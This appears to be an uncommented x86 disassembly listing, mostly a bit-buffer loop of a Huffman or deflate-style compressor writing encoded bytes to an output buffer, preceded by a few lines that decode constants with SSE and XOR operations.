lea eax, [ecx + ecx]
and eax, 0x6636
add ecx, 0xffffb31b
pinsrw xmm1, ecx, 1
movdqa xmm3, xmm1
pinsrw xmm3, word [0x46370e], 2
pinsrw xmm3, word [0x463710], 3
pinsrw xmm3, word [0x463712], 4
pinsrw xmm3, word [0x463714], 5
pinsrw xmm3, word [str.BE_C], 6
pinsrw xmm3, word [0x463718], 7
movdqa xmm4, xmmword [0x45e910]
pxor xmm3, xmm4
pinsrw xmm4, eax, 1
movups xmmword [0x4638fa], xmm2
psubw xmm1, xmm4
pand xmm3, xmm0
pandn xmm0, xmm1
por xmm0, xmm3
mov eax, 0xaa0c42bf
xor eax, dword [0x46371a]
movdqu xmmword [0x46390a], xmm0
mov dword [0x46391a], eax
movzx eax, word [str.Eh__a]
lea ecx, [eax + eax]
and ecx, 0xd2b0
neg ecx
add eax, ecx
add eax, 0x6958
mov word [0x46391e], ax
mov dword [0x481d6c], 1
lea ebp, [esi + 0x9272]
cmp ebp, dword [esi + 0x28]
jae 0x415ced
mov ebx, 1
jmp 0x415a81
mov ebx, dword [esp + 8]
mov edx, eax
shr ebx, 1
cmp ebp, dword [esi + 0x28]
jae 0x415cf3
cmp ebx, 1
jne 0x415a91
movzx ebx, byte [ebp]
inc ebp
or ebx, 0x100
test bl, 1
jne 0x415b10
movzx edi, byte [ebp]
inc ebp
mov dword [esp], ebp
movzx eax, word [esi + edi*2 + 0x8852]
mov edx, dword [esi + 0x44]
mov ecx, edx
shl eax, cl
movzx ecx, byte [esi + edi + 0x8f12]
mov ebp, dword [esi + 0x48]
mov edi, ebp
xor edi, eax
not eax
and eax, ebp
add edi, ebp
sub edi, eax
mov eax, edi
mov dword [esi + 0x48], edi
add ecx, edx
mov dword [esi + 0x44], ecx
mov edx, edi
cmp ecx, 8
jb 0x415c80
mov ebp, dword [esp]
jmp 0x415af1
shr edx, 8
mov dword [esi + 0x48], edx
add ecx, 0xfffffff8
mov dword [esi + 0x44], ecx
cmp ecx, 7
jbe 0x415a76
mov eax, dword [esi + 0x30]
cmp eax, dword [esi + 0x34]
jae 0x415ae0
lea ecx, [eax + 1]
mov dword [esi + 0x30], ecx
mov byte [eax], dl
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x48]
jmp 0x415ae0
mov dword [esp + 8], ebx
movzx ebx, byte [ebp]
movzx eax, byte [ebp + 1]
mov dword [esp + 4], eax
movzx edi, byte [ebp + 2]
movzx edx, word [ebx + ebx + 0x463720]
movzx eax, word [esi + edx*2 + 0x8852]
mov ecx, dword [esi + 0x44]
shl eax, cl
movzx edx, byte [esi + edx + 0x8f12]
add edx, ecx
mov dword [esp + 0xc], edi
or eax, dword [esi + 0x48]
shl edi, 8
mov dword [esi + 0x48], eax
mov dword [esi + 0x44], edx
cmp edx, 8
jae 0x415c05
mov dword [esp], ebp
movzx ebp, byte [ebx + 0x463a20]
and ebx, dword [ebp*4 + 0x4632d0]
mov ecx, edx
shl ebx, cl
or ebx, eax
add edi, dword [esp + 4]
mov dword [esp + 4], edi
mov dword [esi + 0x48], ebx
add edx, ebp
mov dword [esi + 0x44], edx
cmp edx, 8
jae 0x415c35
mov edi, dword [esp + 4]
cmp edi, 0x200
lea eax, [edi + 0x462c80]
mov ebp, dword [esp + 0xc]
lea ecx, [ebp + 0x4634a0]
cmovb ecx, eax
lea eax, [edi + 0x463080]
lea ebp, [ebp + 0x4633a0]
cmovb ebp, eax
movzx edi, byte [ecx]
movzx eax, word [esi + edi*2 + 0x8a92]
mov ecx, edx
shl eax, cl
or eax, ebx
movzx ecx, byte [esi + edi + 0x9032]
add ecx, edx
movzx edx, byte [ebp]
mov dword [esi + 0x48], eax
mov dword [esi + 0x44], ecx
cmp ecx, 8
jb 0x415c90
mov ebp, dword [esp]
jmp 0x415c61
shr eax, 8
mov dword [esi + 0x48], eax
add edx, 0xfffffff8
mov dword [esi + 0x44], edx
cmp edx, 7
jbe 0x415b5c
mov ecx, dword [esi + 0x30]
cmp ecx, dword [esi + 0x34]
jae 0x415bf0
lea edx, [ecx + 1]
mov dword [esi + 0x30], edx
mov byte [ecx], al
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
jmp 0x415bf0
shr ebx, 8
mov dword [esi + 0x48], ebx
add edx, 0xfffffff8
mov dword [esi + 0x44], edx
cmp edx, 7
jbe 0x415b8c
mov eax, dword [esi + 0x30]
cmp eax, dword [esi + 0x34]
jae 0x415c20
lea ecx, [eax + 1]
mov dword [esi + 0x30], ecx
mov byte [eax], bl
mov edx, dword [esi + 0x44]
mov ebx, dword [esi + 0x48]
jmp 0x415c20
shr eax, 8
mov dword [esi + 0x48], eax
add ecx, 0xfffffff8
mov dword [esi + 0x44], ecx
cmp ecx, 7
jbe 0x415c93
mov ebx, dword [esi + 0x30]
cmp ebx, dword [esi + 0x34]
jae 0x415c50
lea ecx, [ebx + 1]
mov dword [esi + 0x30], ecx
mov byte [ebx], al
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
jmp 0x415c50
mov ebp, dword [esp]
jmp 0x415a76
mov ebp, dword [esp]
add ebp, 3
mov edi, dword [esp + 4]
and edi, dword [edx*4 + 0x4632d0]
shl edi, cl
or edi, eax
mov eax, edi
mov dword [esi + 0x48], edi
add ecx, edx
mov dword [esi + 0x44], ecx
cmp ecx, 8
jb 0x415a70
mov ebx, dword [esp + 8]
mov edx, eax
jmp 0x415cd5
shr edx, 8
mov dword [esi + 0x48], edx
add ecx, 0xfffffff8
mov dword [esi + 0x44], ecx
cmp ecx, 7
jbe 0x415a76
mov eax, dword [esi + 0x30]
cmp eax, dword [esi + 0x34]
jae 0x415cc0
lea ecx, [eax + 1]
mov dword [esi + 0x30], ecx
mov byte [eax], dl
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x48]
jmp 0x415cc0
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x48]
movzx eax, word [esi + 0x8a52]
mov edi, edx
movzx edx, byte [esi + 0x9012]
shl eax, cl
or eax, edi
mov dword [esi + 0x48], eax
add edx, ecx
mov dword [esi + 0x44], edx
cmp edx, 8
jae 0x415d4a
mov ecx, dword [esi + 0x30]
xor eax, eax
cmp ecx, dword [esi + 0x34]
setb al
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
shr eax, 8
mov dword [esi + 0x48], eax
mov ecx, edx
xor ecx, 0xfffffff7
and edx, 0xfffffff7
lea edx, [ecx + edx*2]
inc edx
mov dword [esi + 0x44], edx
cmp edx, 7
jbe 0x415d14
mov ecx, dword [esi + 0x30]
cmp ecx, dword [esi + 0x34]
jae 0x415d30
lea edx, [ecx + 1]
mov dword [esi + 0x30], edx
mov byte [ecx], al
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
jmp 0x415d30